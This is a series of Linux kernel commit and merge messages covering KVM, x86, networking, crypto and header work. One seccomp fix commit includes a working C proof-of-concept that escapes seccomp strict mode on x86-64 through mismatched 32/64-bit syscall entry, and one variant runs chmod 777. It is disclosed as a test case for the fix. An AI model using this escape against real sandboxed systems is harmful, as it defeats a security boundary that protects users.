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Conflicts:
arch/x86/Kconfig
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Conflicts:
arch/sparc/kernel/time_64.c
drivers/gpu/drm/drm_proc.c
Manual merge to resolve build warning due to phys_addr_t type change
on x86:
drivers/gpu/drm/drm_info.c
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs-2.6
* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs-2.6: (37 commits)
fs: avoid I_NEW inodes
Merge code for single and multiple-instance mounts
Remove get_init_pts_sb()
Move common mknod_ptmx() calls into caller
Parse mount options just once and copy them to super block
Unroll essentials of do_remount_sb() into devpts
vfs: simple_set_mnt() should return void
fs: move bdev code out of buffer.c
constify dentry_operations: rest
constify dentry_operations: configfs
constify dentry_operations: sysfs
constify dentry_operations: JFS
constify dentry_operations: OCFS2
constify dentry_operations: GFS2
constify dentry_operations: FAT
constify dentry_operations: FUSE
constify dentry_operations: procfs
constify dentry_operations: ecryptfs
constify dentry_operations: CIFS
constify dentry_operations: AFS
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Due to a different size of ino_t ustat needs a compat handler, but
currently only x86 and mips provide one. Add a generic compat_sys_ustat
and switch all architectures over to it. Instead of doing various
user copy hacks compat_sys_ustat just reimplements sys_ustat as
it's trivial. This was suggested by Arnd Bergmann.
Found by Eric Sandeen when running xfstests/017 on ppc64, which causes
stack smashing warnings on RHEL/Fedora due to the too large amount of
data writen by the syscall.
Signed-off-by: Christoph Hellwig <hch@lst.de>
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
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Conflicts:
arch/parisc/kernel/irq.c
arch/x86/include/asm/fixmap_64.h
arch/x86/include/asm/setup.h
kernel/irq/handle.c
Semantic merge:
arch/x86/include/asm/fixmap.h
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip
* 'header-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: (50 commits)
x86: headers cleanup - setup.h
emu101k1.h: fix duplicate include of <linux/types.h>
compiler-gcc4: conditionalize #error on __KERNEL__
remove __KERNEL_STRICT_NAMES
make netfilter use strict integer types
make drm headers use strict integer types
make MTD headers use strict integer types
make most exported headers use strict integer types
make exported headers use strict posix types
unconditionally include asm/types.h from linux/types.h
make linux/types.h as assembly safe
Neither asm/types.h nor linux/types.h is required for arch/ia64/include/asm/fpu.h
headers_check fix cleanup: linux/reiserfs_fs.h
headers_check fix cleanup: linux/nubus.h
headers_check fix cleanup: linux/coda_psdev.h
headers_check fix: x86, setup.h
headers_check fix: x86, prctl.h
headers_check fix: linux/reinserfs_fs.h
headers_check fix: linux/socket.h
headers_check fix: linux/nubus.h
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Manually fix trivial conflicts in:
include/linux/netfilter/xt_limit.h
include/linux/netfilter/xt_statistic.h
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* git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next-2.6: (1750 commits)
ixgbe: Allow Priority Flow Control settings to survive a device reset
net: core: remove unneeded include in net/core/utils.c.
e1000e: update version number
e1000e: fix close interrupt race
e1000e: fix loss of multicast packets
e1000e: commonize tx cleanup routine to match e1000 & igb
netfilter: fix nf_logger name in ebt_ulog.
netfilter: fix warning in ebt_ulog init function.
netfilter: fix warning about invalid const usage
e1000: fix close race with interrupt
e1000: cleanup clean_tx_irq routine so that it completely cleans ring
e1000: fix tx hang detect logic and address dma mapping issues
bridge: bad error handling when adding invalid ether address
bonding: select current active slave when enslaving device for mode tlb and alb
gianfar: reallocate skb when headroom is not enough for fcb
Bump release date to 25Mar2009 and version to 0.22
r6040: Fix second PHY address
qeth: fix wait_event_timeout handling
qeth: check for completion of a running recovery
qeth: unregister MAC addresses during recovery.
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Manually fixed up conflicts in:
drivers/infiniband/hw/cxgb3/cxio_hal.h
drivers/infiniband/hw/nes/nes_nic.c
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* 'kvm-updates/2.6.30' of git://git.kernel.org/pub/scm/virt/kvm/kvm: (113 commits)
KVM: VMX: Don't allow uninhibited access to EFER on i386
KVM: Correct deassign device ioctl to IOW
KVM: ppc: e500: Fix the bug that KVM is unstable in SMP
KVM: ppc: e500: Fix the bug that mas0 update to wrong value when read TLB entry
KVM: Fix missing smp tlb flush in invlpg
KVM: Get support IRQ routing entry counts
KVM: fix sparse warnings: Should it be static?
KVM: fix sparse warnings: context imbalance
KVM: is_long_mode() should check for EFER.LMA
KVM: VMX: Update necessary state when guest enters long mode
KVM: ia64: Fix the build errors due to lack of macros related to MSI.
ia64: Move the macro definitions related to MSI to one header file.
KVM: fix kvm_vm_ioctl_deassign_device
KVM: define KVM_CAP_DEVICE_DEASSIGNMENT
KVM: ppc: Add emulation of E500 register mmucsr0
KVM: Report IRQ injection status for MSI delivered interrupts
KVM: MMU: Fix another largepage memory leak
KVM: SVM: set accessed bit for VMCB segment selectors
KVM: Report IRQ injection status to userspace.
KVM: MMU: remove assertion in kvm_mmu_alloc_page
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Conflicts:
drivers/net/wimax/i2400m/usb-notif.c
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* git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6: (29 commits)
crypto: sha512-s390 - Add missing block size
hwrng: timeriomem - Breaks an allyesconfig build on s390:
nlattr: Fix build error with NET off
crypto: testmgr - add zlib test
crypto: zlib - New zlib crypto module, using pcomp
crypto: testmgr - Add support for the pcomp interface
crypto: compress - Add pcomp interface
netlink: Move netlink attribute parsing support to lib
crypto: Fix dead links
hwrng: timeriomem - New driver
crypto: chainiv - Use kcrypto_wq instead of keventd_wq
crypto: cryptd - Per-CPU thread implementation based on kcrypto_wq
crypto: api - Use dedicated workqueue for crypto subsystem
crypto: testmgr - Test skciphers with no IVs
crypto: aead - Avoid infinite loop when nivaead fails selftest
crypto: skcipher - Avoid infinite loop when cipher fails selftest
crypto: api - Fix crypto_alloc_tfm/create_create_tfm return convention
crypto: api - crypto_alg_mod_lookup either tested or untested
crypto: amcc - Add crypt4xx driver
crypto: ansi_cprng - Add maintainer
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git://git.kernel.org/pub/scm/linux/kernel/git/davej/cpufreq
* 'next' of git://git.kernel.org/pub/scm/linux/kernel/git/davej/cpufreq: (35 commits)
[CPUFREQ] Prevent p4-clockmod from auto-binding to the ondemand governor.
[CPUFREQ] Make cpufreq-nforce2 less obnoxious
[CPUFREQ] p4-clockmod reports wrong frequency.
[CPUFREQ] powernow-k8: Use a common exit path.
[CPUFREQ] Change link order of x86 cpufreq modules
[CPUFREQ] conservative: remove 10x from def_sampling_rate
[CPUFREQ] conservative: fixup governor to function more like ondemand logic
[CPUFREQ] conservative: fix dbs_cpufreq_notifier so freq is not locked
[CPUFREQ] conservative: amend author's email address
[CPUFREQ] Use swap() in longhaul.c
[CPUFREQ] checkpatch cleanups for acpi-cpufreq
[CPUFREQ] powernow-k8: Only print error message once, not per core.
[CPUFREQ] ondemand/conservative: sanitize sampling_rate restrictions
[CPUFREQ] ondemand/conservative: deprecate sampling_rate{min,max}
[CPUFREQ] powernow-k8: Always compile powernow-k8 driver with ACPI support
[CPUFREQ] Introduce /sys/devices/system/cpu/cpu*/cpufreq/cpuinfo_transition_latency
[CPUFREQ] checkpatch cleanups for powernow-k8
[CPUFREQ] checkpatch cleanups for ondemand governor.
[CPUFREQ] checkpatch cleanups for powernow-k7
[CPUFREQ] checkpatch cleanups for speedstep related drivers.
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Impact: cleanup
'make headers_check' warn us about leaking of kernel private
(mostly compile time vars) data to userspace in headers. Fix it.
Guard this one by __KERNEL__.
Signed-off-by: Cyrill Gorcunov <gorcunov@openvz.org>
Signed-off-by: H. Peter Anvin <hpa@linux.intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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IRQ injection status is either -1 (if there was no CPU found
that should except the interrupt because IRQ was masked or
ioapic was misconfigured or ...) or >= 0 in that case the
number indicates to how many CPUs interrupt was injected.
If the value is 0 it means that the interrupt was coalesced
and probably should be reinjected.
Signed-off-by: Gleb Natapov <gleb@redhat.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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AMD k10 includes support for the FFXSR feature, which leaves out
XMM registers on FXSAVE/FXSAVE when the EFER_FFXSR bit is set in
EFER.
The CPUID feature bit exists already, but the EFER bit is missing
currently, so this patch adds it to the list of known EFER bits.
Signed-off-by: Alexander Graf <agraf@suse.de>
CC: Joerg Roedel <joerg.roedel@amd.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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Kconfig symbols are not available in userspace, and are not stripped by
headers-install. Avoid their use by adding #defines in <asm/kvm.h> to
suit each architecture.
Signed-off-by: Avi Kivity <avi@redhat.com>
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This actually describes what is going on, rather than alerting the reader
that something strange is going on.
Signed-off-by: Avi Kivity <avi@redhat.com>
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This is an x86 specific stucture and has no business living in common code.
Signed-off-by: Avi Kivity <avi@redhat.com>
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Certain clocks (such as TSC) in older 2.6 guests overaccount for lost
ticks, causing severe time drift. Interrupt reinjection magnifies the
problem.
Provide an option to disable it.
[avi: allow room for expansion in case we want to disable reinjection
of other timers]
Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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This commit change the name of emulator_read_std into kvm_read_guest_virt,
and add new function name kvm_write_guest_virt that allow writing into a
guest virtual address.
Signed-off-by: Izik Eidus <ieidus@redhat.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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VMX initializes the TSC offset for each vcpu at different times, and
also reinitializes it for vcpus other than 0 on APIC SIPI message.
This bug causes the TSC's to appear unsynchronized in the guest, even if
the host is good.
Older Linux kernels don't handle the situation very well, so
gettimeofday is likely to go backwards in time:
http://www.mail-archive.com/kvm@vger.kernel.org/msg02955.html
http://sourceforge.net/tracker/index.php?func=detail&aid=2025534&group_id=180599&atid=893831
Fix it by initializating the offset of each vcpu relative to vm creation
time, and moving it from vmx_vcpu_reset to vmx_vcpu_setup, out of the
APIC MP init path.
Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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Don't allow a vcpu with cr4.pge cleared to use a shadow page created with
cr4.pge set; this might cause a cr3 switch not to sync ptes that have the
global bit set (the global bit has no effect if !cr4.pge).
This can only occur on smp with different cr4.pge settings for different
vcpus (since a cr4 change will resync the shadow ptes), but there's no
cost to being correct here.
Signed-off-by: Avi Kivity <avi@redhat.com>
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Instead of "calculating" it on every shadow page allocation, set it once
when switching modes, and copy it when allocating pages.
This doesn't buy us much, but sets up the stage for inheriting more
information related to the mmu setup.
Signed-off-by: Avi Kivity <avi@redhat.com>
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So far KVM only had basic x86 debug register support, once introduced to
realize guest debugging that way. The guest itself was not able to use
those registers.
This patch now adds (almost) full support for guest self-debugging via
hardware registers. It refactors the code, moving generic parts out of
SVM (VMX was already cleaned up by the KVM_SET_GUEST_DEBUG patches), and
it ensures that the registers are properly switched between host and
guest.
This patch also prepares debug register usage by the host. The latter
will (once wired-up by the following patch) allow for hardware
breakpoints/watchpoints in guest code. If this is enabled, the guest
will only see faked debug registers without functionality, but with
content reflecting the guest's modifications.
Tested on Intel only, but SVM /should/ work as well, but who knows...
Known limitations: Trapping on tss switch won't work - most probably on
Intel.
Credits also go to Joerg Roedel - I used his once posted debugging
series as platform for this patch.
Signed-off-by: Jan Kiszka <jan.kiszka@siemens.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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This rips out the support for KVM_DEBUG_GUEST and introduces a new IOCTL
instead: KVM_SET_GUEST_DEBUG. The IOCTL payload consists of a generic
part, controlling the "main switch" and the single-step feature. The
arch specific part adds an x86 interface for intercepting both types of
debug exceptions separately and re-injecting them when the host was not
interested. Moveover, the foundation for guest debugging via debug
registers is layed.
To signal breakpoint events properly back to userland, an arch-specific
data block is now returned along KVM_EXIT_DEBUG. For x86, the arch block
contains the PC, the debug exception, and relevant debug registers to
tell debug events properly apart.
The availability of this new interface is signaled by
KVM_CAP_SET_GUEST_DEBUG. Empty stubs for not yet supported archs are
provided.
Note that both SVM and VTX are supported, but only the latter was tested
yet. Based on the experience with all those VTX corner case, I would be
fairly surprised if SVM will work out of the box.
Signed-off-by: Jan Kiszka <jan.kiszka@siemens.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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VMX differentiates between processor and software generated exceptions
when injecting them into the guest. Extend vmx_queue_exception
accordingly (and refactor related constants) so that we can use this
service reliably for the new guest debugging framework.
Signed-off-by: Jan Kiszka <jan.kiszka@siemens.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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This patch implements VMRUN. VMRUN enters a virtual CPU and runs that
in the same context as the normal guest CPU would run.
So basically it is implemented the same way, a normal CPU would do it.
We also prepare all intercepts that get OR'ed with the original
intercepts, as we do not allow a level 2 guest to be intercepted less
than the first level guest.
v2 implements the following improvements:
- fixes the CPL check
- does not allocate iopm when not used
- remembers the host's IF in the HIF bit in the hflags
v3:
- make use of the new permission checking
- add support for V_INTR_MASKING_MASK
v4:
- use host page backed hsave
v5:
- remove IOPM merging code
v6:
- save cr4 so PAE l1 guests work
v7:
- return 0 on vmrun so we check the MSRs too
- fix MSR check to use the correct variable
Acked-by: Joerg Roedel <joro@8bytes.org>
Signed-off-by: Alexander Graf <agraf@suse.de>
Signed-off-by: Avi Kivity <avi@redhat.com>
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This patch implements the GIF flag and the clgi and stgi instructions that
set this flag. Only if the flag is set (default), interrupts can be received by
the CPU.
To keep the information about that somewhere, this patch adds a new hidden
flags vector. that is used to store information that does not go into the
vmcb, but is SVM specific.
I tried to write some code to make -no-kvm-irqchip work too, but the first
level guest won't even boot with that atm, so I ditched it.
v2 moves the hflags to x86 generic code
v3 makes use of the new permission helper
v6 only enables interrupt_window if GIF=1
Acked-by: Joerg Roedel <joro@8bytes.org>
Signed-off-by: Alexander Graf <agraf@suse.de>
Signed-off-by: Avi Kivity <avi@redhat.com>
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MSR_EFER_SVME_MASK, MSR_VM_CR and MSR_VM_HSAVE_PA are set in KVM
specific headers. Linux does have nice header files to collect
EFER bits and MSR IDs, so IMHO we should put them there.
While at it, I also changed the naming scheme to match that
of the other defines.
(introduced in v6)
Acked-by: Joerg Roedel <joro@8bytes.org>
Signed-off-by: Alexander Graf <agraf@suse.de>
Signed-off-by: Avi Kivity <avi@redhat.com>
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git://git.kernel.org/pub/scm/linux/kernel/git/joro/linux-2.6-iommu into core/iommu
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Impact: make use of DMA-API debugging code in x86
Signed-off-by: Joerg Roedel <joerg.roedel@amd.com>
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Impact: generic addr <-> pcpu ptr conversion macros
There's nothing arch specific about x86 __addr_to_pcpu_ptr() and
__pcpu_ptr_to_addr(). With proper __per_cpu_load and __per_cpu_start
defined, they'll do the right thing regardless of actual layout.
Move these macros from arch/x86/include/asm/percpu.h to mm/percpu.c
and allow archs to override it as necessary.
Signed-off-by: Tejun Heo <tj@kernel.org>
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master.kernel.org:/pub/scm/linux/kernel/git/davem/net-2.6
Conflicts:
drivers/net/tokenring/tmspci.c
drivers/net/ucc_geth_mii.c
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Impact: fix math-emu related crash while using GDB/ptrace
init_fpu() calls finit to initialize a task's xstate, while finit always
works on the current task. If we use PTRACE_GETFPREGS on another
process and both processes did not already use floating point, we get
a null pointer exception in finit.
This patch creates a new function finit_task that takes a task_struct
parameter. finit becomes a wrapper that simply calls finit_task with
current. On the plus side this avoids many calls to get_current which
would each resolve to an inline assembler mov instruction.
An empty finit_task has been added to i387.h to avoid linker errors in
case the compiler still emits the call in init_fpu when
CONFIG_MATH_EMULATION is not defined.
The declaration of finit in i387.h has been removed as the remaining
code using this function gets its prototype from fpu_proto.h.
Signed-off-by: Daniel Glöckner <dg@emlix.com>
Cc: Suresh Siddha <suresh.b.siddha@intel.com>
Cc: "Pallipadi Venkatesh" <venkatesh.pallipadi@intel.com>
Cc: Arjan van de Ven <arjan@infradead.org>
Cc: Bill Metzenthen <billm@melbpc.org.au>
LKML-Reference: <E1Lew31-0004il-Fg@mailer.emlix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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Impact: Fix boot failure on EFI system with large runtime memory range
Brian Maly reported that some EFI system with large runtime memory
range can not boot. Because the FIX_MAP used to map runtime memory
range is smaller than run time memory range.
This patch fixes this issue by re-implement efi_ioremap() with
init_memory_mapping().
Reported-and-tested-by: Brian Maly <bmaly@redhat.com>
Signed-off-by: Huang Ying <ying.huang@intel.com>
Cc: Brian Maly <bmaly@redhat.com>
Cc: Yinghai Lu <yinghai@kernel.org>
LKML-Reference: <1236135513.6204.306.camel@yhuang-dev.sh.intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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The function seems to have disappeared at some point, leaving
some vestigial prototypes behind...
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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'x86/setup-lzma', 'x86/signal' and 'x86/urgent' into x86/core
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Impact: cleanup
This patch moves set_highmem_pages_init() to arch/x86/mm/highmem_32.c.
The declaration of the function is kept in asm/numa_32.h because
asm/highmem.h is included only if CONFIG_HIGHMEM is enabled so we
can't put the empty static inline function there.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236082212.2675.24.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
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The virtually mapped percpu space causes us two problems:
- for hypercalls which take an mfn, we need to do a full pagetable
walk to convert the percpu va into an mfn, and
- when a hypercall requires a page to be mapped RO via all its aliases,
we need to make sure its RO in both the percpu mapping and in the
linear mapping
This primarily affects the gdt and the vcpu info structure.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Cc: Xen-devel <xen-devel@lists.xensource.com>
Cc: Gerd Hoffmann <kraxel@redhat.com>
Cc: Rusty Russell <rusty@rustcorp.com.au>
Cc: Tejun Heo <htejun@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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Its the correct thing to do before using the struct in a prototype.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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With x86-32 and -64 using the same mechanism for managing the
tss io permissions bitmap, large chunks of process*.c are
trivially unifyable, including:
- exit_thread
- flush_thread
- __switch_to_xtra (along with tsc enable/disable)
and as bonus pickups:
- sys_fork
- sys_vfork
(Note: asmlinkage expands to empty on x86-64)
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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Impact: remove 32-bit optimization to prepare unification
x86-32 and -64 differ in the way they context-switch tasks
with io permission bitmaps. x86-64 simply copies the next
tasks io bitmap into place (if any) on context switch. x86-32
invalidates the bitmap on context switch, so that the next
IO instruction will fault; at that point it installs the
appropriate IO bitmap.
This makes context switching IO-bitmap-using tasks a bit more
less expensive, at the cost of making the next IO instruction
slower due to the extra fault. This tradeoff only makes sense
if IO-bitmap-using processes are relatively common, but they
don't actually use IO instructions very often.
However, in a typical desktop system, the only process likely
to be using IO bitmaps is the X server, and nothing at all on
a server. Therefore the lazy context switch doesn't really win
all that much, and its just a gratuitious difference from
64-bit code.
This patch removes the lazy context switch, with a view to
unifying this code in a later change.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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Impact: standardize IO on cached ops
On modern CPUs it is almost always a bad idea to use non-temporal stores,
as the regression in this commit has shown it:
30d697f: x86: fix performance regression in write() syscall
The kernel simply has no good information about whether using non-temporal
stores is a good idea or not - and trying to add heuristics only increases
complexity and inserts fragility.
The regression on cached write()s took very long to be found - over two
years. So dont take any chances and let the hardware decide how it makes
use of its caches.
The only exception is drivers/gpu/drm/i915/i915_gem.c: there were we are
absolutely sure that another entity (the GPU) will pick up the dirty
data immediately and that the CPU will not touch that data before the
GPU will.
Also, keep the _nocache() primitives to make it easier for people to
experiment with these details. There may be more clear-cut cases where
non-cached copies can be used, outside of filemap.c.
Cc: Salman Qazi <sqazi@google.com>
Cc: Nick Piggin <npiggin@suse.de>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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master.kernel.org:/pub/scm/linux/kernel/git/davem/net-2.6
Conflicts:
drivers/net/wireless/iwlwifi/iwl-tx.c
net/8021q/vlan_core.c
net/core/dev.c
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This reverts commit 17581ad812a9abb0182260374ef2e52d4a808a64.
Sitsofe Wheeler reported that /dev/dri/card0 is MIA on his EeePC 900
and bisected it to this commit.
Graphics card is an i915 in an EeePC 900:
00:02.0 VGA compatible controller [0300]:
Intel Corporation Mobile 915GM/GMS/910GML
Express Graphics Controller [8086:2592] (rev 04)
( Most likely the ioremap() of the driver failed and hence the card
did not initialize. )
Reported-by: Sitsofe Wheeler <sitsofe@yahoo.com>
Bisected-by: Sitsofe Wheeler <sitsofe@yahoo.com>
Cc: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com>
Cc: Suresh Siddha <suresh.b.siddha@intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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Impact: fix new breakages introduced by previous fix
Commit c132937556f56ee4b831ef4b23f1846e05fde102 tried to clean up
bootmem arch wrapper but it wasn't quite correct. Before the commit,
the followings were broken.
* Low level interface functions prefixed with __ ignored arch
preference.
* reserve_bootmem(...) can't be mapped into
reserve_bootmem_node(NODE_DATA(0)->bdata, ...) because the node is
not preference here. The region specified MUST fall into the
specified region; otherwise, it will panic.
After the commit,
* If allocation fails for the arch preferred node, it should fallback
to whatever is available. Instead, it simply failed allocation.
There are too many internal details to allow generic wrapping and
still keep things simple for archs. Plus, all that arch wants is a
way to prefer certain node over another.
This patch drops the generic wrapping around alloc_bootmem_core() and
add alloc_bootmem_core() instead. If necessary, arch can define
bootmem_arch_referred_node() macro or function which takes all
allocation information and returns the preferred node. bootmem
generic code will always try the preferred node first and then
fallback to other nodes as usual.
Breakages noted and changes reviewed by Johannes Weiner.
Signed-off-by: Tejun Heo <tj@kernel.org>
Acked-by: Johannes Weiner <hannes@cmpxchg.org>
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